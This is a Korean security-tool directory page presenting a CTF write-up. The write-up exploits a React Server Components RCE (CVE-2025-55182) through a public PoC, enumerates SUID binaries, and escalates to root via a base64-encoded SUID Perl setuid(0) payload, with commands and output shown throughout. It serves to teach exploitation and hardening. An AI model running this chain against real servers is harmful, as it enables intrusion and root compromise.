Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Explosive-As-Hell-MCS-Qualifer-Web-500 — [First-Blood-XO] React 서버 컴포넌트 엔드포인트가 CVE-2025-55182 (RCE)에 취약 → SUID 바이너리 열거 → /usr/bin/perl에 SUID 설정됨 → Perl의 POSIX setuid(0)를 사용하여 루트 권한 상승 → /root/flag.txt 읽기 | Kitploit
도구/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Labs & Practice
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] React 서버 컴포넌트 엔드포인트가 CVE-2025-55182 (RCE)에 취약 → SUID 바이너리 열거 → /usr/bin/perl에 SUID 설정됨 → Perl의 POSIX setuid(0)를 사용하여 루트 권한 상승 → /root/flag.txt 읽기

저장소 보기
65개월 전아직 검토되지 않음

CVE-2025-55182 — React Server Components RCE | CTF 풀이

분류: 웹 익스플로잇 | 난이도: 중간 | 취약점: 원격 코드 실행 → SUID 권한 상승


요약

React Server Component 엔드포인트가 CVE-2025-55182 (RCE)에 취약함 → SUID 바이너리 열거 → /usr/bin/perl에 SUID 설정됨 → Perl의 POSIX setuid(0)를 사용하여 root로 권한 상승 → /root/flag.txt 읽음.

플래그: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


1단계 — 정찰

대상: http://challenge.cybermesh.site:30035/

대상은 React Server Components (RSC) 를 활용하는 React 기반 웹 애플리케이션이었습니다. RSC는 비교적 새로운 아키텍처로, 컴포넌트를 서버 측에서 실행하고 직렬화된 출력을 사용자 정의 와이어 형식으로 클라이언트에 스트리밍합니다.

이 아키텍처는 서버 측 실행 경계를 도입합니다. 해당 경계에서의 부적절한 입력 처리가 정확히 CVE-2025-55182가 익스플로잇하는 지점입니다.


2단계 — 취약점: CVE-2025-55182

React Server Components RCE — 서버가 서버 측 컴포넌트 실행 계층에 도달하기 전에 사용자 제어 입력을 적절히 살균하지 못합니다. 이를 통해 공격자는 Node.js 프로세스의 컨텍스트에서 실행되는 OS 수준 셸 명령을 주입할 수 있습니다.

공격 흐름:

  1. 공격자가 악성 RSC 페이로드를 제작함
  2. 서버가 입력을 역직렬화하고 살균되지 않은 값을 서버 컴포넌트 함수에 전달함
  3. OS 명령이 실행되고, 출력이 RSC 응답으로 다시 스트리밍됨
  4. 공격자가 응답 본문에서 명령 출력을 읽음

3단계 — 익스플로잇 준비

이 CVE에 대한 공개 PoC가 존재합니다:

git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

초기 검증 — RCE 및 실행 컨텍스트 확인:

python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

출력:

[+] EXPLOITATION SUCCESSFUL

  ► app

서버는 app 사용자로 실행됩니다. root가 아니므로 권한 상승이 필요합니다.


4단계 — SUID 열거

SUID 바이너리 스캔:

python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

출력:

[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl에 SUID 비트가 설정되어 있습니다. 이는 잘 알려진 GTFOBin입니다. Perl이 root 소유이고 SUID인 경우, 누가 실행하든 root 권한으로 실행됩니다.


5단계 — SUID Perl을 통한 권한 상승

다음 작업을 수행하는 base64로 인코딩된 Perl 페이로드를 제작했습니다:

  • PATH 설정
  • POSIX::setuid(0) 호출하여 root로 권한 상승
  • /root/flag.txt 열고 읽기

RCE 엔드포인트를 통해 전달:

python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

페이로드를 복호화하면 대략 다음과 같습니다:

use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

출력:

[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

플래그

MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

주요 시사점

1. RSC 공격 표면이 과소평가되고 있습니다. React Server Components는 새로운 패러다임입니다. 많은 배포 환경이 서버-컴포넌트 경계에서의 입력 주입에 대해 충분히 강화되지 않았습니다. 이 CVE는 "서버 측 렌더링"이 본질적으로 안전하지 않으며, 실행 경계에서 여전히 적절한 살균이 필요함을 상기시킵니다.

2. 스크립팅 런타임에 SUID 설정 = 즉시 root. /usr/bin/perl에 SUID가 설정된 것은 교과서적인 오설정입니다. GTFOBins에서 자세히 다루고 있습니다. 스크립팅 언어(Perl, Python, Ruby 등)에는 절대 SUID 비트를 설정하지 마십시오. SUID용으로 설계된 컴파일된 바이너리(su, passwd)와 달리, 이러한 런타임은 간단한 권한 상승 경로를 제공합니다.

3. 플래그는 스스로를 알고 있습니다. SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — 이 챌린지는 의도된 권한 상승 경로로 SUID Perl을 명시적으로 설계했습니다. 깔끔한 체인입니다.


공격 체인 요약

CVE-2025-55182 (RSC RCE)
    └─> whoami → 사용자 "app"
    └─> SUID 바이너리 찾기
    └─> /usr/bin/perl (SUID root) 식별됨
    └─> base64 Perl 페이로드 → /tmp/p.pl에 작성
    └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> FLAG ✓

참고 자료

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

작성자: Abdullah Maqbool — TISS 침투 테스트 엔지니어 | CRTA · CRTOM · CompTIA PenTest+

도구 다운로드